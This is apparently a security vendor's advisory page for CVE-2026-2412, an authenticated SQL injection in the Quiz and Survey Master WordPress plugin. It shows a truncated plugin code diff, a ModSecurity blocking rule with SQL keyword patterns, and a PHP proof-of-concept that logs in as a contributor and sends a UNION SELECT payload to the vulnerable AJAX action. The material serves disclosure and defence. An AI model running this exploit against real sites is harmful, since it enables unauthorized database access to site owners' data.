+            dbDelta($sql_results_answers);
+
+            $this->maybe_add_foreign_key(
+                $results_questions,
+                'qsm_fk_results_questions_result_id',
+                "ALTER TABLE {$results_questions} ADD CONSTRAINT `qsm_fk_results_questions_result_id` FOREIGN KEY (`result_id`) REFERENCES `{$mlw_results_table}` (`result_id`) ON DELETE CASCADE"
+            );
+        }
+
+        // Ensure results meta table
+        $results_meta_table = $this->wpdb->prefix . 'qsm_results_meta';
+        if ( $this->wpdb->get_var( "SHOW TABLES LIKE '{$results_meta_table}'" ) != $results_meta_table ) {
+            $mlw_results_table = $this->wpdb->prefix . 'mlw_results';
+            $sql_results_meta = "CREATE TABLE {$results_meta_table} (
+                `meta_id` BIGINT(20) UNSIGNED NOT NULL AUTO_INCREMENT,
+                `result_id` MEDIUMINT(9) NOT NULL,
+                `meta_key` VARCHAR(191) NOT NULL,
+                `meta_value` LONGTEXT,
+                PRIMARY KEY (`meta_id`),
+                KEY `result_id` (`result_id`),
+                KEY `meta_key` (`meta_key`)
+            ) ENGINE=InnoDB {$charset_collate};";
+
+            require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
+            dbDelta($sql_results_meta);
+
+            $this->maybe_add_foreign_key(
+                $results_meta_table,
+                'qsm_fk_results_meta_result_id',
+                "ALTER TABLE {$results_meta_table} ADD CONSTRAINT `qsm_fk_results_meta_result_id` FOREIGN KEY (`result_id`) REFERENCES `{$mlw_results_table}` (`result_id`) ON DELETE CASCADE"
+            );
+        }
+
+        // Add any missing indexes (safe checks)
+        $this->maybe_add_index(
+            $results_questions,
+            'idx_qra_result_id',
+            "CREATE INDEX idx_qra_result_id ON {$results_questions} (result_id)"
+        );
+
+        $this->maybe_add_index(
+            $results_questions,
+            'idx_qra_result_question',
+            "CREATE INDEX idx_qra_result_question ON {$results_questions} (result_id, question_id)"
+        );
+
+        $this->maybe_add_index(
+            $results_meta_table,
+            'idx_qsm_meta_result_id',
+            "CREATE INDEX idx_qsm_meta_result_id ON {$results_meta_table} (result_id)"
+        );
+    }
+
+    /**
+     * Helper to add an index only if it doesn't exist.
+     */
+    private function maybe_add_index( $table, $index_name, $sql ) {
+        $exists = $this->wpdb->get_var(
+            $this->wpdb->prepare(
+                "SELECT COUNT(1) FROM information_schema.statistics WHERE table_schema = DATABASE() AND table_name = %s AND index_name = %s",
+                $table, $index_name
+            )
+        );
+
+        if ( ! $exists ) {
+            $this->wpdb->query($sql);
+        }
+    }
+
+    private function maybe_add_foreign_key( $table, $constraint_name, $sql ) {
+        $exists = $this->wpdb->get_var(
+            $this->wpdb->prepare(
+                "SELECT COUNT(1) FROM information_schema.table_constraints WHERE constraint_schema = DATABASE() AND table_name = %s AND constraint_name = %s",
+                $table,
+                $constraint_name
+            )
+        );
+
+        if ( ! $exists ) {
+            $this->wpdb->query( $sql );
+        }
+    }
+
+    /**
+     * AJAX callback to initiate migration: create tables & return totals
+     */
+    public function qsm_initial_migration_start_callback() {
+        // Verify nonce
+        if ( ! check_ajax_referer('qsm_migration_nonce', 'nonce', false) ) {
+            wp_send_json_error(array( 'message' => __('Security check failed.', 'quiz-master-next') ));
+        }
+
+        // Capability check
+        if ( ! current_user_can('manage_options') ) {
+            wp_send_json_error(array( 'message' => __('You do not have permission to perform migrations.', 'quiz-master-next') ));
+        }
+
+        if ( ! $this->qsm_is_migration_allowed() ) {
+            wp_send_json_error( array( 'message' => $this->qsm_get_migration_block_message() ) );
+        }
+
+        // Ensure tables exist and indexes applied
+        $this->create_migration_tables();
+
+        // --- Calculate Total Records to Migrate ---
+        $mlw_results_table       = $this->wpdb->prefix . 'mlw_results';
+        $results_meta_table = $this->wpdb->prefix . 'qsm_results_meta';
+
+        // Count total results (the target count)
+        $total_records = (int) $this->wpdb->get_var( "SELECT COUNT(*) FROM {$mlw_results_table}" );
+
+        // Count how many results have been *logged* (migrated or failed)
+        $logged_records = (int) $this->wpdb->get_var(
+            "SELECT COUNT(DISTINCT r.result_id)
+            FROM {$mlw_results_table} r
+            INNER JOIN {$results_meta_table} m
+                ON m.result_id = r.result_id
+                AND m.meta_key = 'result_meta'"
+        );
+
+        // Number of records already processed (logged)
+        $processed_count = $logged_records;
+
+        // If all records are logged and there are no failed IDs, it's complete.
+        $stored_failed_ids = get_option('qsm_migration_results_failed_ids', array());
+        if ( $processed_count === $total_records && empty($stored_failed_ids) ) {
+            update_option( 'qsm_migration_results_processed', 1 );
+            wp_send_json_success(array(
+                'message'         => __('Migration has already been completed. No further action is required.', 'quiz-master-next'),
+                'already_done'    => true,
+                'total_records'   => $total_records, // Send original total for progress bar
+                'processed_count' => $processed_count,
+                'batch_size'      => self::BATCH_SIZE,
+            ));
+        }
+
+        try {
+
+            wp_send_json_success(array(
+                'message'         => __('Migration initiated. Starting batch processing.', 'quiz-master-next'),
+                'total_records'   => $total_records,
+                'processed_count' => $processed_count, // Send back how many are already logged
+                'batch_size'      => self::BATCH_SIZE,
+            ));
+
+        } catch ( Exception $e ) {
+            wp_send_json_error(array( 'message' => __('Error during migration initialization: ', 'quiz-master-next') . $e->getMessage() ));
+        }
+    }
+
+    /**
+     * AJAX callback to process a single batch of results.
+     * Expects POST parameter: offset (int) - this is the running count of processed records for UI only.
+     */
+    public function qsm_process_migration_batch_callback() {
+        // Verify nonce
+        if ( ! check_ajax_referer( 'qsm_migration_nonce', 'nonce', false ) ) {
+            wp_send_json_error( array( 'message' => __( 'Security check failed.', 'quiz-master-next' ) ) );
+        }
+
+        // Check user capabilities
+        if ( ! current_user_can( 'manage_options' ) ) {
+            wp_send_json_error( array( 'message' => __( 'You do not have permission to perform migrations.', 'quiz-master-next' ) ) );
+        }
+
+        if ( ! $this->qsm_is_migration_allowed() ) {
+            wp_send_json_error( array( 'message' => $this->qsm_get_migration_block_message() ) );
+        }
+
+        $current_processed_count = isset( $_POST['current_processed_count'] ) ? intval( $_POST['current_processed_count'] ) : 0;
+        $process_failed_only     = ! empty( $_POST['process_failed_only'] );
+        $batch_size              = self::BATCH_SIZE;
+
+        $mlw_results_table       = $this->wpdb->prefix . 'mlw_results';
+        $results_meta_table      = $this->wpdb->prefix . 'qsm_results_meta';
+
+        $results_processed   = 0;
+        $inserted_count      = 0;
+
+        try {
+
+            // Re-check status before processing
+            if ( $this->qsm_check_migration_status() ) {
+                wp_send_json_success(
+                    array(
+                        'message'           => __( 'Migration has already been completed. No further action is required.', 'quiz-master-next' ),
+                        'results_processed' => 0,
+                        'migrated_results'  => 0,
+                        'failed_results'    => 0,
+                        'next_offset'       => $current_processed_count,
+                        'completed'         => true,
+                        'success_ids'       => array(),
+                        'failed_ids'        => array(),
+                    )
+                );
+            }
+
+            // --------------------------------------------------
+            // 1. Fetch a batch of results to migrate
+            // --------------------------------------------------
+            $failed_ids = get_option( 'qsm_migration_results_failed_ids', array() );
+            $failed_ids = array_map( 'intval', (array) $failed_ids );
+
+            $query = "SELECT r.* FROM {$mlw_results_table} r
+            LEFT JOIN {$results_meta_table} m
+              ON m.result_id = r.result_id
+              AND m.meta_key = 'result_meta'
+              WHERE m.meta_id IS NULL";
+
+            $params = array();
+
+            if ( $process_failed_only ) {
+                // Failed-only mode: process only the IDs currently marked as failed.
+                if ( empty( $failed_ids ) ) {
+                    // Nothing to process in this mode.
+                    wp_send_json_success(
+                        array(
+                            'message'           => __( 'No failed results to reprocess.', 'quiz-master-next' ),
+                            'results_processed' => 0,
+                            'migrated_results'  => 0,
+                            'failed_results'    => 0,
+                            'next_offset'       => $current_processed_count,
+                            'completed'         => true, // Signal completion for this mode
+                            'success_ids'       => array(),
+                            'failed_ids'        => array(),
+                        )
+                    );
+                }
+
+                // In failed-only mode, we are only processing records in $failed_ids
+                $placeholders = implode( ',', array_fill( 0, count( $failed_ids ), '%d' ) );
+                $query       = "SELECT r.* FROM {$mlw_results_table} r WHERE r.result_id IN ($placeholders)";
+                $params      = array_merge( $params, $failed_ids );
+            } else {
+                // Normal mode: avoid repeatedly retrying known failed IDs (if they are still pending)
+                if ( ! empty( $failed_ids ) ) {
+                    $placeholders = implode( ',', array_fill( 0, count( $failed_ids ), '%d' ) );
+                    $query       .= " AND r.result_id NOT IN ($placeholders)";
+                    $params       = array_merge( $params, $failed_ids );
+                }
+            }
+
+            // NOTE: Do NOT use OFFSET here. Always take the next BATCH_SIZE pending rows.
+            $query  .= " ORDER BY r.result_id ASC LIMIT %d";
+            $params[] = $batch_size;
+
+            // Build prepared SQL safely
+            if ( ! empty( $params ) ) {
+                $prepare_args = array_merge( array( $query ), $params );
+                $prepared_sql = call_user_func_array( array( $this->wpdb, 'prepare' ), $prepare_args );
+            } else {
+                $prepared_sql = $query;
+            }
+
+            $results = $this->wpdb->get_results( $prepared_sql );
+
+            if ( empty( $results ) ) {
+                // Nothing left to process in this batch (either normal or failed-only mode)
+                $is_completed = $this->qsm_check_migration_status();
+
+                wp_send_json_success(
+                    array(
+                        'message'           => __( 'No more results to process in this batch.', 'quiz-master-next' ),
+                        'results_processed' => 0,
+                        'inserted_count'    => 0,
+                        'completed'         => (bool) $is_completed,
+                        'migrated_results'  => 0,
+                        'failed_results'    => 0,
+                        'next_offset'       => $current_processed_count, // Offset remains the same
+                    )
+                );
+            }
+
+            // Track IDs processed in this batch
+            $batch_success_ids = array();
+            $batch_failed_ids  = array();
+
+            // --------------------------------------------------
+            // 2. Loop through results and migrate each one
+            // --------------------------------------------------
+            foreach ( $results as $row ) {
+                $row_stats = $this->qsm_do_process_result_row( $row );
+
+                if ( isset( $row_stats['results_processed'] ) ) {
+                    $results_processed += (int) $row_stats['results_processed'];
+                }
+                if ( isset( $row_stats['inserted_count'] ) ) {
+                    $inserted_count += (int) $row_stats['inserted_count'];
+                }
+                if ( ! empty( $row_stats['success_ids'] ) && is_array( $row_stats['success_ids'] ) ) {
+                    $batch_success_ids = array_merge( $batch_success_ids, $row_stats['success_ids'] );
+                }
+                if ( ! empty( $row_stats['failed_ids'] ) && is_array( $row_stats['failed_ids'] ) ) {
+                    $batch_failed_ids = array_merge( $batch_failed_ids, $row_stats['failed_ids'] );
+                }
+            }
+
+            $stored_failed_ids  = get_option( 'qsm_migration_results_failed_ids', array() );
+
+            // 3. Update the stored failed IDs list (remove success, add new fails)
+            if ( ! empty( $batch_success_ids ) ) {
+                $stored_failed_ids = array_diff(
+                    array_map( 'intval', (array) $stored_failed_ids ),
+                    array_map( 'intval', (array) $batch_success_ids )
+                );
+            }
+
+            // Newly failed IDs are appended to the failed list
+            if ( ! empty( $batch_failed_ids ) ) {
+                $stored_failed_ids  = array_unique(
+                    array_map(
+                        'intval',
+                        array_merge( (array) $stored_failed_ids, $batch_failed_ids )
+                    )
+                );
+            }
+
+            update_option( 'qsm_migration_results_failed_ids', $stored_failed_ids );
+
+            // Count how many results have been *logged* (migrated or failed)
+            $logged_records = (int) $this->wpdb->get_var(
+                "SELECT COUNT(DISTINCT r.result_id)
+                FROM {$mlw_results_table} r
+                INNER JOIN {$results_meta_table} m
+                    ON m.result_id = r.result_id
+                    AND m.meta_key = 'result_meta'"
+            );
+
+            $next_offset = $logged_records;
+
+            $failed_total = ! empty( $stored_failed_ids ) ? count( (array) $stored_failed_ids ) : 0;
+
+            $total_success_count = max( 0, $logged_records - $failed_total );
+            $total_failed_count  = $failed_total;
+
+            $completed = $this->qsm_check_migration_status();
+
+            wp_send_json_success(
+                array(
+                    'message'           => __( 'Batch processed.', 'quiz-master-next' ),
+                    'results_processed' => (int) $results_processed,
+                    'migrated_results'  => (int) $total_success_count,
+                    'failed_results'    => (int) $total_failed_count,
+                    'next_offset'       => $next_offset, // This is the total number of logged records
+                    'completed'         => (bool) $completed,
+                    'success_ids'       => $batch_success_ids,
+                    'failed_ids'        => $batch_failed_ids,
+                )
+            );
+        } catch ( Exception $e ) {
+            wp_send_json_error(
+                array(
+                    'message' => __( 'Error during migration batch: ', 'quiz-master-next' ) . $e->getMessage(),
+                )
+            );
+        }
+    }
+
+    public function qsm_check_migration_status(){
+        $results_table_name      = $this->wpdb->prefix . 'mlw_results';
+        $results_meta_table = $this->wpdb->prefix . 'qsm_results_meta';
+
+        $total_results = (int) $this->wpdb->get_var( "SELECT COUNT(*) FROM {$results_table_name}" );
+
+        // Count how many results have been *logged* (migrated or failed)
+        $logged_records = (int) $this->wpdb->get_var(
+            "SELECT COUNT(DISTINCT r.result_id)
+            FROM {$results_table_name} r
+            INNER JOIN {$results_meta_table} m
+                ON m.result_id = r.result_id
+                AND m.meta_key = 'result_meta'"
+        );
+
+        $stored_failed_ids = get_option( 'qsm_migration_results_failed_ids', array() );
+
+        // Migration is completed if ALL original results have a 'result_meta' entry AND there are no failed IDs left.
+        $completed = ( $logged_records === $total_results && empty( $stored_failed_ids ) );
+
+        if ( $completed ) {
+            update_option( 'qsm_migration_results_processed', 1 );
+        }
+        return $completed;
+    }
+
+
+    function qsm_do_process_result_row( $row ) {
+        global $mlwQuizMasterNext;
+
+        $stats = array(
+            'success_ids'       => array(),
+            'failed_ids'        => array(),
+            'results_processed' => 0,
+            'inserted_count'    => 0,
+        );
+
+        if ( empty( $row ) || ! is_object( $row ) ) {
+            return $stats;
+        }
+
+        $stats['results_processed']++;
+
+        $result_id = isset( $row->result_id ) ? intval( $row->result_id ) : 0;
+
+        if ( ! $result_id ) {
+            $stats['failed_ids'][] = 0;
+            return $stats;
+        }
+
+        $results_questions           = $this->wpdb->prefix . 'qsm_results_questions';
+        $results_meta_table = $this->wpdb->prefix . 'qsm_results_meta';
+
+        // ----------------------------------------------
+        // Parse quiz_results and insert per-question answers
+        // ----------------------------------------------
+        $unserializedResults = maybe_unserialize( $row->quiz_results );
+
+        // *************** TRANSACTION START ***************
+        $this->wpdb->query( 'START TRANSACTION' );
+        $transaction_failed = false;
+
+        if ( ! is_array( $unserializedResults ) || ! isset( $unserializedResults[1] ) || ! is_array( $unserializedResults[1] ) ) {
+            // No questions found; treat as migrated without inserts
+            // Insert result_meta to mark as processed.
+            // Continue below to insert result_meta to log processing.
+        } else {
+
+            $results_meta_table_data      = array();
+            $results_meta_table_ans_label = '';
+            $results_table_meta_contact   = '';
+            $results_table_meta_addons    = array();
+            $allowed_result_meta_keys = array(
+                'total_seconds',
+                'quiz_comments',
+                'timer_ms',
+                'pagetime',
+                'hidden_questions',
+                'total_possible_points',
+                'total_attempted_questions',
+                'minimum_possible_points',
+                'quiz_start_date',
+            );
+
+            foreach ( $unserializedResults as $result_meta_key => $result_meta_value ) {
+                if ( 1 == $result_meta_key ) {
+                    // results question loop (answers table) – collect all rows then bulk insert
+                    $answer_rows       = array();
+
+                    foreach ( $result_meta_value as $question_key => $question_value ) {
+                        if ( ! is_array( $question_value ) || ! isset( $question_value['id'] ) ) {
+                            continue;
+                        }
+
+                        // incorrect = 0, correct = 1, unanswered = 2
+                        $correcIncorrectUnanswered = 0;
+
+                        if ( 'correct' == $question_value['correct'] || ( isset( $question_value[0]['correct'] ) && 'correct' == $question_value[0]['correct'] ) ) {
+                            $correcIncorrectUnanswered = 1;
+                        } else {
+
+                            if ( empty( $question_value['user_answer'] ) ) {
+
+                                if ( '13' == $question_value['question_type'] && 'incorrect' == $question_value['correct'] && ( 0 == $question_value[1] || ! empty( $question_value[1] ) ) ) {
+                                    $correcIncorrectUnanswered = 0;
+                                } else {
+                                    if ( '13' != $question_value['question_type'] && 'incorrect' == $question_value['correct'] ) {
+                                        if ( '7' == $question_value['question_type'] && ! empty( $question_value[1] ) && $question_value[1] != $question_value[2] ) {
+                                            $correcIncorrectUnanswered = 0;
+                                        } else {
+                                            $correcIncorrectUnanswered = 2;
+                                        }
+                                    } else {
+                                        if ( empty( $question_value[1] ) ) {
+                                            $correcIncorrectUnanswered = 2;
+                                        }
+                                    }
+                                }
+                            } elseif ( 'incorrect' == $question_value['correct'] ) {
+                                $ans_loop    = 0;
+                                $is_unanswer = 0;
+                                if ( in_array( $question_value['question_type'], array( '14', '12', '3', '5' ), true ) ) {
+                                    foreach ( $question_value['user_answer'] as $ans_key => $ans_value ) {
+                                        if ( '' == $ans_value ) {
+                                            $is_unanswer++;
+                                        }
+                                        $ans_loop++;
+                                    }
+                                }
+                                if ( 0 != $is_unanswer && $ans_loop == $is_unanswer ) {
+                                    $correcIncorrectUnanswered = 2;
+                                } else {
+                                    $correcIncorrectUnanswered = 0;
+                                }
+
+                                if ( isset( $question_value['question_type'] ) && 4 != $question_value['question_type'] && isset( $question_value[1] ) && isset( $question_value[2] ) && $question_value[1] == $question_value[2] ) {
+                                    // Advanced question types conditions here
+                                    if ( ( '17' == $question_value['question_type'] || '16' == $question_value['question_type'] ) && empty( $question_value['correct_answer'] ) ) {
+                                        if ( '16' == $question_value['question_type'] && empty( $question_value['user_answer'] ) ) {
+                                            $correcIncorrectUnanswered = 2;
+                                        }
+                                        if ( '17' == $question_value['question_type'] && empty( $question_value['user_answer'] ) ) {
+                                            $correcIncorrectUnanswered = 2;
+                                        }
+                                    } else {
+                                        $correcIncorrectUnanswered = 1;
+                                    }
+                                }
+                            }
+                        }
+
+                        // Normalize user_answer and correct_answer fields for storage
+                        $user_answer_to_store    = isset( $question_value['user_answer'] ) ? $question_value['user_answer'] : array();
+                        $correct_answer_to_store = isset( $question_value['correct_answer'] ) ? $question_value['correct_answer'] : array();
+
+                        // Map fields (use fallbacks for numeric keys)
+                        $question_description = isset( $question_value[0] ) ? $question_value[0] : '';
+
+                        $user_answer_comma = isset( $question_value[1] ) ? $question_value[1] : '';
+
+                        $correct_answer_comma = isset( $question_value[2] ) ? $question_value[2] : '';
+
+                        $question_comment = isset( $question_value[3] ) ? $question_value[3] : '';
+
+                        $question_title = '';
+                        if ( isset( $question_value['question_title'] ) ) {
+                            $question_title = $question_value['question_title'];
+                        } elseif ( isset( $question_value['question'] ) ) {
+                            $question_title = (string) $question_value['question'];
+                        }
+
+                        $question_type = isset( $question_value['question_type'] ) ? $question_value['question_type'] : '';
+
+                        // Determine answer_type using heuristic
+                        $answerEditor       = $mlwQuizMasterNext->pluginHelper->get_question_setting( $question_value['id'], 'answerEditor' );
+                        $answer_type = '' != $answerEditor ? $answerEditor : 'text';
+
+                        $points   = isset( $question_value['points'] ) ? $question_value['points'] : 0;
+                        $correct  = intval( $correcIncorrectUnanswered );
+
+                        $category = isset( $question_value['category'] ) ? $question_value['category'] : '';
+
+                        $multicategories = isset( $question_value['multicategories'] ) ? $question_value['multicategories'] : array();
+
+                        // Ensure values passed to $wpdb->prepare are scalars; serialize any arrays.
+                        if ( is_array( $category ) ) {
+                            $category = maybe_serialize( $category );
+                        }
+
+                        if ( is_array( $multicategories ) ) {
+                            $multicategories = maybe_serialize( $multicategories );
+                        }
+
+                        // other_settings from question fields (user_compare_text, case_sensitive, answer_limit_keys)
+                        $other_settings_arr = array();
+                        if ( isset( $question_value['user_compare_text'] ) ) {
+                            $other_settings_arr['user_compare_text'] = $question_value['user_compare_text'];
+                        }
+                        if ( isset( $question_value['case_sensitive'] ) ) {
+                            $other_settings_arr['case_sensitive'] = $question_value['case_sensitive'];
+                        }
+                        if ( isset( $question_value['answer_limit_keys'] ) ) {
+                            $other_settings_arr['answer_limit_keys'] = $question_value['answer_limit_keys'];
+                        }
+                        $other_settings_serialized = maybe_serialize( $other_settings_arr );
+
+                        // Prepare values for insert (order must match placeholders below)
+                        $quiz_id = isset( $row->quiz_id ) ? intval( $row->quiz_id ) : 0;
+
+                        $answer_rows[] = array(
+                            intval( $result_id ),                       // result_id %d
+                            intval( $quiz_id ),                         // quiz_id %d
+                            intval( $question_value['id'] ),            // question_id %d
+                            $question_title,                            // question_title %s
+                            $question_description,                      // question_description %s (LONGTEXT)
+                            $question_comment,                          // question_comment %s
+                            $question_type,                             // question_type %s
+                            $answer_type,                               // answer_type %s
+                            maybe_serialize( $correct_answer_to_store ), // correct_answer %s
+                            maybe_serialize( $user_answer_to_store ),   // user_answer %s
+                            $user_answer_comma,                         // user_answer_comma %s
+                            $correct_answer_comma,                      // correct_answer_comma %s
+                            floatval( $points ),                        // points %f
+                            intval( $correct ),                         // correct %d
+                            $category,                                  // category %s
+                            $multicategories,                           // multicategories %s
+                            $other_settings_serialized,                  // other_settings %s
+                        );
+                    }
+
+                    if ( ! empty( $answer_rows ) ) {
+                        $placeholders = array();
+                        $params       = array();
+
+                        foreach ( $answer_rows as $values ) {
+                            // match the order from $answer_rows above
+                            $placeholders[] = '( %d, %d, %d, %s, %s, %s, %s, %s, %s, %s, %s, %s, %f, %d, %s, %s, %s )';
+                            $params         = array_merge( $params, $values );
+                        }
+
+                        $sql = "INSERT INTO {$results_questions}
+                            ( result_id, quiz_id, question_id, question_title, question_description, question_comment,
+                            question_type, answer_type, correct_answer, user_answer, user_answer_comma, correct_answer_comma,
+                            points, correct, category, multicategories

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-2412
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:10002412,phase:2,deny,status:403,chain,msg:'CVE-2026-2412 SQL Injection via QSM merged_question parameter',severity:'CRITICAL',tag:'CVE-2026-2412',tag:'WordPress',tag:'QSM-Plugin',tag:'SQLi'"
  SecRule ARGS_POST:action "@streq qsm_save_question" "chain"
    SecRule ARGS_POST:merged_question "@rx (?i)(?:\b(?:union|select|insert|update|delete|drop|alter|create|rename|truncate|replace)\b|\\(|\\)|--|#|/\*|\*/|and\s*\()" 
      "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}',setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2412 - Quiz and Survey Master (QSM) <= 10.3.5 - Authenticated (Contributor+) SQL Injection via 'merged_question' Parameter

<?php
/**
 * Proof of Concept for CVE-2026-2412
 * Requires valid WordPress Contributor credentials
 */

$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'contributor_user';
$password = 'contributor_password';

// First, authenticate to WordPress and obtain cookies
function wp_login($url, $user, $pass) {
    $ch = curl_init();
    
    // Get login page to obtain nonce/tokens
    curl_setopt($ch, CURLOPT_URL, str_replace('admin-ajax.php', 'wp-login.php', $url));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    $login_page = curl_exec($ch);
    
    // Extract nonce if present (WordPress login form)
    preg_match('/name="log"[^>]*>/', $login_page, $matches);
    
    // Perform login
    $post_fields = array(
        'log' => $user,
        'pwd' => $pass,
        'wp-submit' => 'Log In',
        'redirect_to' => str_replace('admin-ajax.php', 'wp-admin/', $url),
        'testcookie' => '1'
    );
    
    curl_setopt($ch, CURLOPT_URL, str_replace('admin-ajax.php', 'wp-login.php', $url));
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
    
    $response = curl_exec($ch);
    
    // Verify login success by checking for dashboard redirect
    if (strpos($response, 'wp-admin') !== false || curl_getinfo($ch, CURLINFO_HTTP_CODE) == 302) {
        echo "[+] Successfully authenticated as $usern";
    } else {
        echo "[-] Authentication failedn";
        exit(1);
    }
    
    curl_close($ch);
    return true;
}

// Execute SQL injection via merged_question parameter
function exploit_sqli($url) {
    $ch = curl_init();
    
    // Basic SQL injection payload to test vulnerability
    // Attempts to extract database version
    $payload = "1) UNION SELECT @@version--";
    
    $post_fields = array(
        'action' => 'qsm_save_question',
        'merged_question' => $payload,
        'question_name' => 'Test Question',
        'question_type' => '0',
        'question_answer_info' => '',
        'comments' => '1',
        'hint' => '',
        'category' => '',
        'required' => '0',
        'nonce' => 'test'  // Nonce may be required but can be bypassed in some configurations
    );
    
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        'Content-Type: application/x-www-form-urlencoded',
        'X-Requested-With: XMLHttpRequest'
    ));
    
    echo "[+] Sending SQL injection payload: $payloadn";
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    echo "[+] HTTP Response Code: $http_coden";
    echo "[+] Response: $responsen";
    
    // Check for SQL error or successful data extraction
    if (strpos($response, 'MySQL') !== false || strpos($response, 'SQL') !== false || 
        strpos($response, 'syntax') !== false || preg_match('/\d+\.\d+\.\d+/', $response)) {
        echo "[+] SQL injection successful - vulnerability confirmedn";
    } else {
        echo "[-] No obvious SQL injection indicators in responsen";
        echo "[-] Try different payloads or check authenticationn";
    }
    
    curl_close($ch);
}

// Main execution
if ($target_url && $username && $password) {
    echo "[+] CVE-2026-2412 Proof of Conceptn";
    echo "[+] Target: $target_urln";
    
    // Authenticate first
    if (wp_login($target_url, $username, $password)) {
        // Execute exploit
        exploit_sqli($target_url);
    }
} else {
    echo "[-] Please configure target_url, username, and password variablesn";
}

// Cleanup
if (file_exists('cookies.txt')) {
    unlink('cookies.txt');
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School